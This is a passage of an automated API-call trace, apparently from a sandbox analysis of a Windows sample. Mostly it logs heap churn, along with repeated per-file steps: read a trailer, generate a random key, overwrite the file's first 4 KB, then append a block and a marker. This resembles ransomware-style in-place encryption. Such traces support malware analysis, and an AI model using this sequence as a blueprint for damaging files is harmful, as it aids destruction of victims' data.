dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.174] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.175] GetProcessHeap () returned 0x540000 [0082.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.175] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.176] GetProcessHeap () returned 0x540000 [0082.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.248] GetProcessHeap () returned 0x540000 [0082.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.249] GetProcessHeap () returned 0x540000 [0082.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.250] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.250] WriteFile (in: hFile=0x820, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.250] WriteFile (in: hFile=0x820, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.250] GetProcessHeap () returned 0x540000 [0082.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.250] GetProcessHeap () returned 0x540000 [0082.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.250] GetProcessHeap () returned 0x540000 [0082.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.250] CloseHandle (hObject=0x820) returned 1 [0082.250] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 41 [0082.250] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.250] ReadFile (in: hFile=0x824, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.251] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.251] GetProcessHeap () returned 0x540000 [0082.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.251] GetProcessHeap () returned 0x540000 [0082.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0082.251] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0082.251] GetProcessHeap () returned 0x540000 [0082.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.251] ReadFile (in: hFile=0x824, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.323] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.323] WriteFile (in: hFile=0x824, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.324] GetProcessHeap () returned 0x540000 [0082.324] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.325] GetProcessHeap () returned 0x540000 [0082.325] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.325] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.326] GetProcessHeap () returned 0x540000 [0082.326] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.326] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.327] GetProcessHeap () returned 0x540000 [0082.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.328] GetProcessHeap () returned 0x540000 [0082.328] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.328] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.328] WriteFile (in: hFile=0x824, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.329] WriteFile (in: hFile=0x824, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.329] GetProcessHeap () returned 0x540000 [0082.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.329] GetProcessHeap () returned 0x540000 [0082.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.329] GetProcessHeap () returned 0x540000 [0082.329] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.329] CloseHandle (hObject=0x824) returned 1 [0082.332] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 42 [0082.332] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.332] ReadFile (in: hFile=0x828, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.332] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.332] GetProcessHeap () returned 0x540000 [0082.332] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.332] GetProcessHeap () returned 0x540000 [0082.332] RtlAllocateHeap (HeapHandle=0x540000, 